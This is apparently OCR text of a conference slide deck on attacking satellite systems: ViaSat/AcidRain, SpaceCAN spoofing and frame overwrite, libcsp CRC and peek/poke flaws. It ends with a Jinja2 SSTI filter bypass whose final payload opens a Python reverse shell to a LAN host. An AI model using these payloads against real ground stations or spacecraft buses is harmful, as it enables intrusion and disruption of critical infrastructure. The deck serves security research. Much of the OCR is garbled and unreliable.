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Introduction



How's satellite internet works and segments

* Space Segment
» Ground Segment
* Link Segment

» Uplink

+ Downlink

+ User Segment




Ground segment

» Ground station is the core controller of satellite in whole lifecycle.

» Russian attacker controlled ROSAT in 1998.9.20

» Recently APT group set their target on satellite/telecom

» 2018 Chinese APT group Thrip attack telecom in US and east Asia

ROSAT burned in atmosphere

» 2022 Russian APT group Fancy Bear attack ViaSat

» 2023 Chinese APT group Volt Typhoon attack US critical
infrastructure related to satellite

» 2023 Iranian APT group Peach Sandstorm attacked aerospace
industry in several regions



https://archive.ph/20120414223803/http://www.businessweek.com/print/magazine/content/08_48/b4110072404167.htm
https://cyberscoop.com/symantec-thrip-satellite-hacking-trojans/
https://en.wikipedia.org/wiki/Fancy_Bear
https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/
https://www.microsoft.com/en-us/security/blog/2023/09/14/peach-sandstorm-password-spray-campaigns-enable-intelligence-collection-at-high-value-targets/
https://www.space.com/13385-dead-german-satellite-earth-fall-indian-ocean.html

Link_seg ment - Jamming

 Russia has attempted to use Tobol to disrupt StarLink
transmissions in Ukraine.

 Tobol is a large, high-power antenna that can emit a
signal strong enough to affect signal transmission in an
area

» Ground

* Aiming ground station or user terminal device to
achieve denial of service and spoofing Tobo in Kanrpéncias SoracTs

https://www.thedefensepost.com/2024/04/24/russia-flight-jamming-nato/

* Space

P

+ Malformed traffic in uplink


https://www.washingtonpost.com/national-security/2023/04/18/discord-leaks-starlink-ukraine/
https://www.thedefensepost.com/2024/04/24/russia-flight-jamming-nato/

R LtCol -- SFS/-- [mailto:------ [ .
Sent: Friday, November 12, 2004 4:06 AM
: F TSgt -- SFS/SF---

Link segment - Eavesdropping

. r ’ ’
-= SFS/==; =——mmm————m Capt 31 SFS/---; SMSgt 31 SFS/---
Subject: RE:

Mr.

We would greatly appreciate a sooner installation. We have

troops that need this training and can no longer afford to

have our system sitting in a warehouse. Let me know if

there is anything I can do to help.

Thank you.

Sent: Friday, November 12, 2004 10:02 AM

+ In 2005 & Blackhat 2020 research, they use T
DVS-B card and antenna (~$300) plus open et
source libraries to eavesdrop the e

Atlanta USA to see if they can get your system installed sooner.

We would really like to have the set up before then,
if you have the resources, please check and see what you can do
for our unit. If you can’t do it then we would like it done

b rO a d Ca Stl n g d OW n ‘ | n k S | g n a ‘ a m O n g E u ro p e your response.  Thanks iiieyiﬂithggiggzgévinﬁiTl be et

Figure 5: Company — US military conversation exposed to broadcast (- - - used for privacy reasons).

|OT & Critical Infrastructure

» Found some credentials, sensitive information
and even account/password of critical
infrastructure in traffic if victim is using
unencrypted protocol

“admin-electro

Nordex Control Login

. Certificate . Secure ° Basic

Chent The standard NC2 chent
o vemame
p / p O p / p — -_—
Login
Select Language
L anquage English v

» Able to extract some sensitive media content

from old protocols like MPEG-2, GSM

Whispers Among the Stars: A Practical Look at Perpetrating (and Preventing) Satellite Eavesdropping Attacks



http://www.apple.com/tw
https://www.blackhat.com/us-20/briefings/schedule/index.html#whispers-among-the-stars-a-practical-look-at-perpetrating-and-preventing-satellite-eavesdropping-attacks-19391
https://www.blackhat.com/us-20/briefings/schedule/index.html#whispers-among-the-stars-a-practical-look-at-perpetrating-and-preventing-satellite-eavesdropping-attacks-19391

User segment - ViaSat

* O
Ukraine, a cyberattack dis

N

n February 24th, 2022, t

ternet access.

rupted b

ne day of Russia’s invasion into
‘oadband satellite

» This attack disabled modems that communicate with

aSat Inc's KA-SAT satellite network, which supplies
internet access to tens of thousands of people in Ukraine
and Europe.

 AcidRain is the wiper malware targeting modem anc
routers using MIPS architecture. AcidRain wiped flas
memory from thousands of ViaSat modem.

» Though this malware didn't directly attack satellite internet
rchitecture but still cut victim's satellite internet access

e
s fffffcch

s fffffcc?
fffffcc3
+ fffffcbf
: fFfffcbd
: fFfffcb?
: fFFffcb3
: fffffcaf
fffffcab
frrffca?
frfffcas
ferefeof
fEfefcob
frFffco7
: FFFFFco3
: frfffcef
: fEFffceb
: fFFffce7
ffffce3
Frffc7f
: FRFFFcTb
: FFFFfc77
: FFFFfc73
frfffcef
FEFffceb
frrffce7
frfffce3

ffffcca frfffcco fffffccs
:ffffc:e fffffccs frfffccd
frfffcca fffffccl fFFffccd
frfffcbe FFFFfcbd FrFffcbe
fffffcba FFFFcbO frrffcbs
FFFFfcbs FEFFFcbS FIFFfcbd
fEEFfcb2 FAFFfcbl FIFFFCHO
frfffcae frfffcad fffffcac
fffffcaa frfffcay frfffcas
fffffcas frfffcas fffffcad
fffffca2 fffffcal Ffffcad
FFfffcoe FEFFfcod FEFFfcoc
fFfffcoa FFFFFco9 FEFFFco8
FFFFfcos FEFFFcos FIFFFcod
fFFffco2 FFFFFco1 FIFFFco0
fffffcee FrFffcad FrFffcac
fffffcea FFFFrcey FIFFfces
fFfffcas FIFrfces frFffced
frfffcs2 FEFffcal FIFFFceo
frfffcre FPFFfcrd FIFffc7c
frfffc7a FPFFFc79 FIFFfc78
fEEffc76 FIFFfcTS FIFFfc74
frfffc72 TIFFfcT1 FIFFfc70
frfffcoe FIFffced Frfffcec
fffffcéa FIFffceo Frfffces
frfrfcos FIFFfces FIFffced
fffffc62 FIFFfc6l FFFffcee

';‘R(.ET: watiting for target vcc
]T’ARCET: waiting for target Vcc
TARGET: watting for target Vcc
TARGET: waiting for target Vec
TARGET: waiting for target Vcc
TARGET: waiting for target Vcc
TARGET: walting for target Vcc
. TARGET: waiting for target Vcc
. TARGET: watting for target Vece
. TARGET: waiting for target Vcc
. TARGET: watting for target Vcc
. TARGET: waiting for target vcc
TARGET: waiting for target Vcc
TARGET: wailting for target Vcc
TARGET: walting for target Vcc
TARGET: walting for target Vcc
TARGET: walting for target Vcc
TARGET: walting for target Vcc
TARGET: waiting for target Vcc
TARGET: walting for target Vcc
TARGET: walting for target Vcc
TARGET: processing power-up delay
TARGET: processing user reset request
BDI asserts RESET
BDI removes RESET
ID code is 0x29600399

20000e80: fffffcSf ffffcSe FIFffcsd FFFffcsc

20000e90: fffffcsb frfffcSa FIFFfcs9 FFFffcss INP reg is OxA1404001

20000ea0: FIfffcS7 FIFffcS6 FIFffcsS FIFffcSq resetting target passed

20000eb0: fffffcs3 FIFffcsS2 FFFffcS1 FRFFfcse processing target startup ....
20000eco: fffffcaf fffffcde fffffcad Fffffcac init Wst entry for running core #0 ignored
20000edo: fffffcab fffffcda fffffca9 Fffffcas processing target startup passed
20000ee0: fffffca7 fffffcas fffffcas fffffcaq cnMIPS3#0>halt

20000ef0: frfffca3 fffffca2 Frfffcal frfffceo Core state : debug mode
20000100 fIfffc3f frfffcle FFfffc3d FFfffcic Debug entry cause : JTAG break request
20000f10: fffffc3b fffffc3a fFfffc39 fffffc3s Current PC : OxFFFFffffbrcoe3ss
20000120: :ff;fcn fffffc36 FrFffc3s frfffc3a Current SR 1 0x44400086
20000130: fffffc33 fffffc32 FFfffc31 ffFffc3e Current H

20000140: fffffc2f fffffc2e fffffcad fffffcac Current ;: E::;; H ::;:::::gg:;::::g:

20000f50: fffffc2b
20000f60: fffffc27
20000f70: fffffc23
20000f80: fffffcif
20000f90: fffffcib

fffffc2a Fffffc29 ffrffcas
fffffc26 fffffc2s fffffcaa
fffffc22 fffffc21 fffffc2e
fffffcie fffffcid fffffcic
fffffcia fffffc19 fffffcis

CNMIPS3#0>l0ad OXFFFFFFFF81000000 bootloaders/emm-boot.bin bin ;
Loading bootloaders/emm-boot.bin » Please -al{ s R e
Loading program file passed

CNMIPS3#0>halt ; load OXFFFFFFFF81004000 bootloaders/u-boot-octeon_evb7060 sff stage2.bin t

20000fa0: FIfffc17 FEFffci6 FIFFfcis Fefffela FFFF81004000
20000fbo: fFfffc13 ffffc12 fIFffc1l FEFFfcio Core state : debug mode
20000fce: fffffcof fffffcoe fffffcod Frfffcoc Debug entry cause : JTAG break request
20000fde: fffffcob fffffcoa fffffco9 fffffces Current PC 1 OxFFfffFfe1000co8
g:::::;: ;ffffc!ﬂ fIfffces fIfffces frrffcoq Current SR 1 0x44000086
20 : F1100CO3 FIFfco2 TEFfcol FEFFrcos ... ; Current LR (r31) : oxffffffffeie00cos
2o partition table - mc 1 e o Current SP (r29) : Oxffffffeeeee
** No partition table - mac 1 *+ Loading bootloade b $23n9
Viasat ur2s I Loadtng ooos oaders/u-boot-octeon_evb7000_sff_stage2.bin , please wait
———— IR

AcidRain erased and stuffed sequence number to modem flash

memory

February 24, 2022

BAP1 - Total UTs Online

40K

18:00 20:00 22:00 00:00 02:00 04:00 06:00 08:00

== UTs Online

10:00 12:00 14:00 16:00

163K 616K 379K 163K

Vlasat"/‘



https://attack.mitre.org/software/S1125/
https://www.youtube.com/watch?v=qI_ICtX3Gm8

Satellite & subsystems

Command and Data Handling (C&DH) n

* On-board computer is the brain of the satellite

Electrical Power and Distribution Subsystem (EPDS)

Attitude Determination and Control (AD&C)

Telemetry, Tracking, and Command (TT&C)

» Support communication between a satellite & a ground station

Thermal Control Subsystem (TCS)

Structures and Mechanisms Subsystem (SMS)

« Antennas

10

Payload



Satellite & subsystems

System level of ION-F Nanosatellite Standard 2U CubeSat diagram
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Applying HOL/PBL to Prepare Undergraduate Students into Graduate Level Studies in

Command and Data Handling Subsystem Design for the lonospheric Observation Nanosatellite Formation (ION-F) the Field of Aerospace Engineering Using the Puerto Rico CubeSat Project Initiative

11


https://www.semanticscholar.org/paper/Command-and-Data-Handling-Subsystem-Design-for-the-Jensen/969ed4d0b6ed10c3387bf839b357ff9a15002e47

Space protocols - CCSDS

» The Consultative Committee tfor Space Data Losscss Deta Image Dat
Systems (CCSDS)

Application Layer

CCSDS File
. . Delivcfry
+ Was formed in 1982 by the major space (CFDP)
agencies of the world Transport Layer

» Developed data standards and information
system frameworks data creation, transmission,

management, and preservation as well as the P“"I?)(':{;jﬁ?“) 9;2,15 e bk | | Do i.nlk (Data Lonk
. rotocol >Su aycer I rotoco /'C

Channel Coding (S( OdlnL and

Sublayer)

¢ A|m to cover entire OSI in Space prOtOCO|S Physical Layer RF and Modulation Systems

12



Space protocol - ECSS

' vi\
LLROPEAN CONAPERATMN

» European Cooperation for Space Standardization

ECSS-E-ST-50-15C R
1 May 2015 ; Space engineering

Funchonel analysis

+ Found by ESA and several European organization

EUROPEAN COOPERATION

* Engineering standards

FOR SPACE STANDARDIZATION https://ecss.nl/standards/active-standards/

- Management standards

+ Product Assurance standards Space engineering

CANbus extension protocol

» Sustainability standards

» General and System documents

https://librecube.gitlab.io/standards/spacecan/assets/ECSS-E-
ST-50-15C.pdf

13



Space segment - OPS-SAT-1

* NanoSat MO Framework (NMF) is an open-source
software framework for small satellites based

on CCSDS Mission Operations services.

* OPS-SAT is a CubeSat built by ESA and launched in
December 2019, and the powerful OBC installed
NMF which allowed user to control most of
subsystems on OPS-SAT

OPS-SAT

o J ava d e S e ri a I iza ti O n | e a d S tO S h e I I CO d e i nj e Cti O n User "exp237" process bypass supervisor’'s command filter and execute arbitrary command

By World premiere: hacking and recovery of a flying satellite

» Run space-spell-root binary and bypass weak
encryption then compromise OPS-SAT-1

14


https://www.youtube.com/watch?v=sXGQWLJ8904

Open satellite projects

» Nowadays the cost of building and launching satellites , especial CubeSat , is not that
unaffordable

» Communities or lab students can possibly make their own satellite projects

» Most of their software and hardware are open-sourced

OreSat

AcubeSat FloripaSAT

https://magazine.byu.edu/article/cubesat/

15



Case study - SpaceCAN



SpaceCAN & LIERE@ruEE

» LibreCube is an open project that aiming to create an

ecosystem of modular components

» They developed both hardware and software such as

» SpaceCAN is one of the |i
simplified from ECSS-E-S

protocol for internal communication

i

oraries for on-board computer , several space protocols
mplified from CCSDS space protocols and ECSS

oraries they developed which is

-50-15C , a CANDbus extension

https://librecube.gitlab.io/
17
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https://librecube.gitlab.io/

CANbus & Satellite

» SMART-1 was the first ESA satellite to integrate CAN
» Eurostar 3000 platform and OPS-SAT many more

» As CubeSat growing, CAN bus will be wildly used by these mini satellites and cube satellites

= ! 3 e‘: ! i
ELECTRONIC UNIT ELECTRONIC UNIT |
Sensor

https://librecube.gitlab.io/development/assets/SpaceCAN_lecture.pdf

18



11 bits for command

Arbitration

Start of frame

©| DLC3
©| DLC2
DLC1

=] stuff bit

CAN bitstream tO

CAN RX

8 bits for data

Complete CAN frame

Commands using CAN

Object
Heartbeat
Sync
SCET Time
UTC Time

Telecommand (TC)

Telemetry (TM)

https://librecube.gitlab.io/development/assets/Space CAN_lecture.pdf

19

CAN ID (hex)
700

080

180

200

280 + Node ID

300 + Node ID

Originator
Controller
Controller
Controller
Controller
Controller

Responder




SpaceCAN - node id

* When the new component(node) connects to CAN bus, SpaceCAN checks the providead
node_id is in the range or not.

if node_id == O or node_id > 127:

raise ValueError("node id must be in range 1..127")

* No register/authentication mechanism. Duplicate node_id is allowed

pyeiCony—————HV—M
CDHS

20



SpaceCAN - node id & sniffing

» When the new component(node) connects to CAN bus, SpaceCAN checks the provided

node_id is in the range or not.

if node_id 0 or node_id > 127:

raise ValueError("node id must be in range 1..127")

» No register/authentication mechanism. Duplicate node_id is allowed

T TTOTT ey

[+ ubuntu@ubuntu: ~/Desktop/python-spacecan/examples/basic Q = - O X
Enter 'h' to show this text again. I
u \s
u
s
(venv) S python controller
- Py

<Stop program with Ctrl-C>

Enter one of following command where x is destination node 1id:
b: bus switch
s: send scet
u: send utc

tx: send dummy telecommand frame to node x
Enter 'h' to show this text again.
t-1
node_id=-1
t-1

node_ id=-1

[+1

heartbeat
heartbeat
heartbeat
heartbeat
heartbeat
heartbeat
heartbeat
heartbeat
heartbeat

utc received [0102030405060708]

ubuntu@ubuntu: ~/Desktop/python-spacecan/examples/basic

received
received
received
received
received
received
received
received
received

sync received

heartbeat
heartbeat
heartbeat
heartbeat
heartbeat
heartbeat
heartbeat
heartbeat
heartbeat
heartbeat

received
received
received
received
received
received
received
received
received
received

sync received

|'Efartbeat received

21
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SpaceCAN - can id

Complete CA
def send_telemetry(self, data): itrati Control +«—Data——
can_id = ID_TM + self.node_id
can_frame = CanFrame(can_id, data)

self.network.send(can_frame)

Start of frame

M N o
0000
-t el -d
o0 o
o/o[o]1

send_packet(self, packet): CAN bitstream |0 0]0}0]0{1|0|0{1]0]1]0|0]0/0 0|1 0

can_id = ID_TM + self.node_id

for data in packet.split(): CAN RX
can_frame = CanFrame(can_id, data)
self.network.send(can_frame)

CAN Frame ID - 11 bits

Function ID (4 bits)

Mask
ID_TM=0x300 + node_id=1 = Hi, [ am node 1. I sent a telemetry to you :)

22



SpaceCAN - spoofing

- With the knowledge of can_id , we can easily malform the icoete S
response TM as it's from other node e
* There are many commands. We can spoof those & R et

commands without data. =

Request specific activity
happens here...

™[1,7]

[fail completion]
TM[1,8]

TeleCommand, please respond

Controller —-—
CDHS

23



SpaceCAN - spoofing in Housekeeping

 Only allowed responder send telemetry to controller

TC[3,5] + Report_ID

» TC[3,5] Housekeeping

loop [until TC[3,6]] :

. TM[3,27] + Report_ID + Data |

* Ask responder to send TM from time to time

TC[3,6] + Report_ID

Hi, this is telemetry from node 1
<elicyy, """

CDHS

node 1

node 1 node 2 node -1

https://librecube.gitlab.io/
24



SpaceCAN - packet splitting

» In CAN frame , Data field is only 8 bytes e )
total_frames = math.ceil(len(self.data) / MAX_DATA_LENGTH)

total_frames = max(1, total_frames)

+ It data for a TM is larger than 8 bytes, for n in range(total frames):
SpaCECAN SP its data into frames data = bytearray(self.dataln * 6 : n x 6 + 6])

header = bytearray([total_frames - 1, n])
yield header + data

Complete CAN frame

Packet data(I[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14])

Frame 1 : 2 0 1 2 3 4 5 6
: Frame 2 : 2 1 7 8 9 | 10 | 11 | 12
§ AN
MJ“L J‘MM“w-F' Frame 3 : 3| 14

2 2 1
Total frame Frame 1ndex from 0

25



SpaceCAN - packet assembling

* No additional validation in Assembler

» Assembled packets are delivered in order

and in the same time

» Could not jump in line

 Only return when length = total_frames

* No further check between index &
total_frames

26

class PacketAssembler:
def __init__(self, parent):
self.parent = parent
self.buffer = {}

def process_frame(self, can_frame):
can_id = can_frame.can_id
total _frames = can_frame.data[0] + 1
n = can_frame.data[1]

Check total frame

if can_id not in self.buffer:

self.buffer[can id] = {} Create buffer if no

self.buffer[can_id] [n] = can_frame.datal[2:]

if len(self.buffer[can_id]) == total_frames:
framebuffer = self.buffer[can_id]
data = []

| Assemble data and return
for k in sorted(framebuffer):

data.extend(framebuffer([k])
del self.buffer[can_id]
packet = Packet(data)
return packet

return None




SpaceCAN - packet assembling

« Attack method

Time

* Just send malformed data

* Super strange if there is no TC but TM

™~

27

class PacketAssembler:

def

def

__init__(self, parent):

self.parent = parent
self.buffer = {}

process_frame(self, can_frame):
can_id = can_frame.can_id
total_frames = can_frame.data[0] + 1
n = can_frame.data[1]

Check total frame

if can_id not in self.buffer:

self.buffer[can id] = {} Create buffer if no

self.buffer[can_id] [n] = can_frame.datal[2:]

if len(self.buffer[can_id]) == total_frames:
framebuffer = self.buffer[can_id]
data = [] Assemble data and return

for k in sorted(framebuffer):
data.extend(framebuffer|[k])

del self.buffer[can_id]

packet = Packet(data)

return packet

return None




SpaceCAN - packet assembling

« Attack method

+ Overwrite part of data

» Fultill length=total_frames

» Manipulate data apart from the first one

Time
2 7 8 8 8 8 8
2 |12 | 9 9 9 9 9
2 0 1 2 4 5 6
2 1 7/ 8 10 | 11 | 12
! 2 2 13 | 14

28

class PacketAssembler:
def __init__(self, parent):
self.parent = parent
self.buffer = {}

def process_frame(self, can_frame):
can_id = can_frame.can_id
total _frames = can_frame.data[0] + 1
n = can_frame.data[1]

Check total frame

if can_id not in self.buffer:

self.buffer[can id] = {} Create buffer if no

self.buffer[can_id] [n] = can_frame.datal[2:]

if len(self.buffer[can_id]) == total_frames:
framebuffer = self.buffer[can_id]
data = [] Assemble data and return

for k in sorted(framebuffer):
data.extend(framebuffer|[k])

del self.buffer[can_id]

packet = Packet(data)

return packet

return None




SpaceCAN - frame overwrite

+ QOverwriting might just be more practical because attacker might not know when controller
will receive a TC and ask for 8 bytes longer response on

» Attacker must know the victim node number and data format

» Housekeeping is the one that keeps running

new added data in buffer 1100000001[0] = bytearray(b'\x83\x19\x82A\xcc ')
new added data in buffer 1100000001[1] = bytearray(b'\x86\x00\x00\x00\x00")
assembled data = Packet([3, 25, 2, 65, 204, 96, 6, 0, 0, 0, 8])
— TM[©®3, 25] with data 8x0241cc600600000000 from node 1
Norma‘ (VO‘tage O) --> received housekeeping report (1, 2) from node 1:
=> temperature: 25.5468806444091797
=> voltage: 0.0

new added data in buffer 1100000001[0] = bytearray(b'\x03\x19\x02A\xc88"')
assembled data = Packet([3, 25, 2, 65, 200, 56, 66, 66, 66, 66, 66])
. . TM[®3, 25] with data 0x0241c8384242424242 from node 1
OverWHted (VOltage—485) --> received housekeeping report (1, 2) from node 1:
=> Temperature: 25.027469635009766
=> voltage: 48.56470489501953

29
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Libcsp

» Cubesat Space Protocol (CSP)
» Clibrary

» https://github.com/libcsp/libcsp

» Small network-layer delivery protocol designed for Cubesat

» Open source

https://github.com/libcsp/libcsp

» Widely used by libraries and satellites project such as GomSpace
GATOSS GOMX-1 , AAUSAT3 , EgyCubeSat, EuroLuna, Hawaiian
Space Flight Laboratory...

32



Known vulnerabilities in Libcsp

» Libcsp is also used in OPS-SAT(ESA)

» Johannes Willbold in BHUS23 shares that in Libcsp, CRC and HMAC doesn't protect headers

» In the latest version 2, they still keep it for backward compatibility
CSP Header 1.x

o::et 31 30 29|28 27 26|25 24 23 22|21 20 19 18|17 16 (/15|14 13 12 11|10 9 8 7| 6 5| 4| 3 2 1 ©
H| X
o o Destination Source m|T|R|E
0 | Priority Source Destination Reserved |, |D R
Port Port P|C
C A
_ /* Compare calculated checksum with packet header *x/
32 Data (O 65,535 byteS) if (memcmp(&packet->data[packet->length] - sizeof(crc), &crc, sizeof(crc)) != 0) {
https://en.wikipedia.org/wiki/Cubesat_Space_Protocol 127
128 /* CRC32 with header failed, try without header x/
129 crc = csp_crc32_memory(packet->data, packet—>length - sizeof(crc));
130 crc = htobe32(crc);
131
132 if (memcmp(&packet->datal[packet->length] - sizeof(crc), &crc, sizeof(crc)) != 0) {
133 return CSP_ERR _CRC32;
134 }
135
136 }

https://github.com/libcsp/libcsp/blob/a6b1a02988d879e123f1936b56564989890e3571/src/csp_crc32.c#L.125
33


https://i.blackhat.com/BH-US-23/Presentations/US-23-Willbold-HoustonWehaveaProblem.pdf

Libcsp - CRC32

= ==l Bl o 2 (S 9 > ~. sl Y o A

- CRC table is hard-codea iy (o et =

0x00000000, 0xF26B8303, OxE13B70F7, 0x1350F3F4, @0xC79A971F, 0x35F1141C, 0x26A1E7E8, 0xD4CA64EB,
0x8AD958CF, 0x78B2DBCC, @Ox6BE22838, 0x9989AB3B, 0x4D43CFDO, 0xBF284CD3, 0xAC78BF27, 0x5E133C24,
0x105EC76F, 0xE235446C, 0xF165B798, 0x030E349B, 0xD7C45070, 0x25AFD373, 0x36FF2087, 0xC494A384,
0x9A879FA0, 0x68EC1CA3, 0x7BBCEF57, 0x89D76(C54, 0x5D1D0@8BF, 0xAF768BBC, 0xBC267848, 0x4E4DFB4B,

¢ FO u n d Ot h e r ‘ i O ra ri eS th at i m p O rt | i b CS p d O eS n’t 0x20BD8EDE, 0xD2D60DDD, 0xC186FE29, @x33ED7D2A, @0xE72719C1, 0x154C9AC2, 0x061C6936, OxF477EA35,

OxAA64D611, @x580F5512, OxA4BSFAGE6, @xB93425E5, OX6DFE410E, @x9F95C20D, 0x8CC531F9, @x7EAEB2FA,
Cha n g e that C :{C ta b | e Ox30E349B1, OxC288CAB2, OxD1D83946, @x23B3BA45, OxF779DEAE, 0x05125DAD, Ox1642AE59, OXE4292D5A,
OXBA3A117E, 0x4851927D, 0x5B016189, OXA96AE28A, @x7DA08661, Ox8FCB562, OxICOBF696, OX6EF07595,

0x417B1DBC, OxB3109EBF, 0xA0406D4B, 0x522BEE48, Ox86E18AA3, Ox748A09A0, Ox67DAFA54, 0x95B17957,

OxCBA24573, 0x39C9C670, 0x2A993584, OxD8F2B687, @x0C38D26C, OXFE53516F, OXED@3A29B, Ox1F682198,

0x5125DAD3, @xA34E59D0, OXBO1EAA24, 0x42752927, Ox96BFADCC, @x64DACECF, 0x77843D3B, Ox85EFBE3S,

o SpOOﬂ ng [ OXDBFC821C, 0x2997011F, @x3ACTF2EB, OxC8AC71E8, 0x1C661503, OXEE@DI600, OxFD5D65F4, OXOF36EGF7,
.o 0x61C69362, 0x93AD1061, Ox8OFDE395, 0x72966096, OxA65C047D, Ox5437877E, 0xA4767748A, OxB5QCF789,

OXEB1FCBAD, @x197448AE, Ox0A24BB5A, OxF84F3859, 0x2C855CB2, OxDEEEDFB1, OXCDBE2C45, @x3FD5AF46,

0x7198540D, 0x83F3D7QE, 0x90A324FA, Ox62C8A7F9, @xB602C312, 0x44694011, 0x5739B3E5, OXA55230E6,

OXFB410CC2, 0x@92A8FC1, @x1A7A7C35, OXE811FF36, @x3CDBOBDD, OxCEBO18DE, OXDDEOEB2A, Ox2F8B6829,

° If CRC |S the On ‘y Secu rlty Optlon(?) 0x82F63B78, 0x709DB87B, 0x63CDABSF, 0x91A6C88C, @x456CAC67, OxB7072F64, OxA457DCO0, OX563C5F93,

. 0X082F63B7, OXFA44EOB4, OXE9141340, Ox1B7F9043, OXCFB5F4A8, Ox3DDE77AB, Ox2ESE845F, @xDCE5075C,

0x92A8FC17, 0x60C37F14, 0x73938CEQ, Ox81FS8OFE3, 0x55326B08, OxA759E80B, 0xB4091BFF, 0x466298FC,

0x1871A4D8, OXEA1A27DB, OxFO4ADA2F, @x@B21572C, OxDFEB33C7, 0x2D80BOC4, Ox3ED04330, OXCCBBCO33,

. 0xA24BB5A6, 0x502036A5, 0x4370C551, OxB11B4652, @x65D122B9, Ox97BAA1BA, Ox84EA524E, 0x7681D14D,

° C RC d O es n’t Va ‘ |d ate h ea d e r' 0x2892ED69, OXDAFO6E6A, OXCOA99DOE, @x3BC21E9ID, OXEFO87A76, Ox1D63F975, OXOE330A81, OXFC588982,
0xB21572C9, @x407EF1CA, Ox532E023E, @xA145813D, Ox758FE5D6, Ox87E466D5, 0x94B49521, Ox66DF1622,

0x38CC2A06, @XCAA7A905, OXDIF75AF1, @x2BICDIF2, OXFF56BD19, @x@D3D3E1A, Ox1E6DCDEE, @XECOG4EED,
0xC38D26C4, Ox31E6A5C7, 0x22B65633, @xDODDD530, @x0417B1DB, OxF67C32D8, OXE52CC12C, Ox1747422F,
0x49547E0B, OxBB3FFDO8, OXA86FOEFC, 0x5A048DFF, Ox8ECEE914, Ox7CA56A17, Ox6FF599E3, OXODOE1AEQ,

o Even |t Va | |dates header; you Ca n Create a ny Va | |d 0xD3D3E1AB, 0x21B862A8, 0x32E8915C, 0xC083125F, 0x144976B4, OxE622F5B7, 0xF5720643, 0x07198540,

0x590AB964, 0xAB613A67, 0xB831C993, 0x4A5A4A9%0, Ox9E902E7B, 0x6CFBAD78, 0x7FAB5E8C, 0x8DCODDS8F,

. . 0xE330A81A, 0x115B2B19, 0x020BDSED, OXFO605BEE, 0x24AA3F@5, @xD6C1BCO6, @xC5914FF2, @x37FACCF1,
Oa C ketS W|th th |S h a rd —CO d e d C RC ta b ‘ e 0X69E9F@D5, 0x9B8273D6, 0x88D28022, 0x7AB90321, @XAE7367CA, @x5C18E4C9, Ox4F48173D, OxBD23943E,

\\\\\-___;7’ OXF36E6F75, 0x0105EC76, 0x12551F82, OXEQ3E9C81, @x34F4F86A, @xC69F7B69, @xD5CF889D, 0x27A40BOE,
0x79B737BA, 0x8BDCB4B9, 0x988C474D, OX6AE7C44E, OXBE2DAOA5, 0x4C4623A6, Ox5F16D052, OxAD7D5351};

https://github.com/libcsp/libcsp/blob/abb1a02988d879e123f1936b56564989890e3571/src/csp_crc32.c#L14
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« CSP Management Protocol (CMP) is our playground now assigned

» Provide functions for read/write/fetch system information and memory

Libcsp - Peek & Poke Root

109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131

static int do_cmp_peek(struct csp_cmp_message x cmp) {

}

cmp—>peek.addr = htobe32(cmp—>peek.addr);
if (cmp—->peek.len > CSP_CMP_PEEK_MAX_LEN)

return CSP_ERR_INVAL; Read memory addFESS

/* Dangerous, you better know what you are doing x/
csp_cmp_memcpy_fnc((csp_memptr_t) (uintptr_t)cmp—>peek.data, (csp_memptr_t)(uintptr_t)cmp—>peek.addr, cmp—>peek.len);

return CSP_ERR_NONE;

static int do_cmp_poke(struct csp_cmp_message * cmp) {

cmp—>poke.addr = htobe32(cmp->poke.addr);
if (cmp—>poke.len > CSP_CMP_POKE_MAX_LEN)

Overwrite memory address

/* Extremely dangerous, you better know what you are doing x/
csp_cmp_memcpy_fnc((csp_memptr_t) (uintptr_t)cmp—>poke.addr, (csp_memptr_t)(uintptr_t)cmp->poke.data, cmp->poke.len);

return CSP_ERR_NONE;

https://github.com/libcsp/libcsp/blob/2dfaf8be6ae725578e3fd833beef73c5478a6f80/src/csp_service_handler.c#L109
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Dystem 5

* A ground station system
» 3 layers system

» CSP endpoint

« Send commands to satellite : Written in C

« Middleware

 Auth check, log and transferring ; Written in Python

« Web service

* Human intertace ; Written in Python

36

CSP endpoint

Decode

Auth check

api calls

T

!

Operator Engineer Admin

Encode

Auth check

api calls

T

f



System (3 - web service

* 3 roles

CSP endpoint

» Operator - mostly monitoring , few functions Mg 1 l 7MQ

Decode Encode

» Engineer - API key, monitoring , functions Middleware

» Admin - API key, firmware update, management, functions Auth check AUE - ElEEl

api calls api calls

Account:
\/

hehehe@hehe.com :
Web service

Password:

ER A A o b A b o o T T T

N |

Api-key:

Ic8k5ollfpwOjg@k

!

Operator Engineer Admin
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Syst'e‘m [ - SSTI

» Server-Side Template Injection

» Attacker can inject malicious code into a template that is

executed on the server

» Python Flask + jinja2 is common in CTF in few years

* Easy test cases

e {{7%7}} ,
* Jinja2 sanc

pper 1}

{{ "hello" |u
box provic
nctions

internal fu

es protection for abusing python

38

from flask import Flask, request
from jinja2.sandbox import SandboxedEnvironment

app = Flask(__name__)

@app.route('/")
def index():
payload = request.args.get('s', '{{1+1}}')

sandbox = SandboxedEnvironment()

try:
template = sandbox.from_string(payload)
result = template.render()

except Exception as e:
result = f"Error: {str(e)}"

return f"Template result: {result}"

With jinja2 sandbox




Syst'e‘m [ - SSTI

* Jinja2 sandbox is also common in real worla

{{7%7}}
>> 49 @
{{request. class__. init__. globals_[' builtins_ 'I['_ _import__'l('os').popen('id"').read()}}

>> Error: access to attribute ' _init ' of 'Undefined' object is unsafe ,ii!ﬁL

39



request

U771}

response
49

request

U771}

response
invalid input

Credit: Friends
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System [ - SSTI

» It probably filters "{{" and "}}" (for security I guess) instead of
using jinja2 sandbox !

« 706" "%}" is also available for SSTI

% 1if 77 == 49 %}True{% else %}False{% endif %}

{% for ¢ in ().__class__. base . subclasses_ () %}
1% 1f c.__name__ == 'catch_warnings' %
{{ c }}

% endif %)

% endfor %}

Credit: Hunter x Hunter
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Final payload - RCE on Web service

{% for x in ().__class__._base_ . subclasses_ () %}

1% 1if "warning" in X.__name__ %}
{{x()._module._builtins__[' dimport__ 'l1('os').popen("python3 -c 'import
socket,subprocess,o0s;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.conne
ct((\\"192.168.124.128\\",1234));0s.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call([\\"/bin/sh\\", \\"-i\\"1);'")}}

%endif%s}

% endfor %}
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Syst'em [3 - Middleware

» Dump Web code and DB with hardcoded passwora
* api-key is also synced to Middleware for auth and log

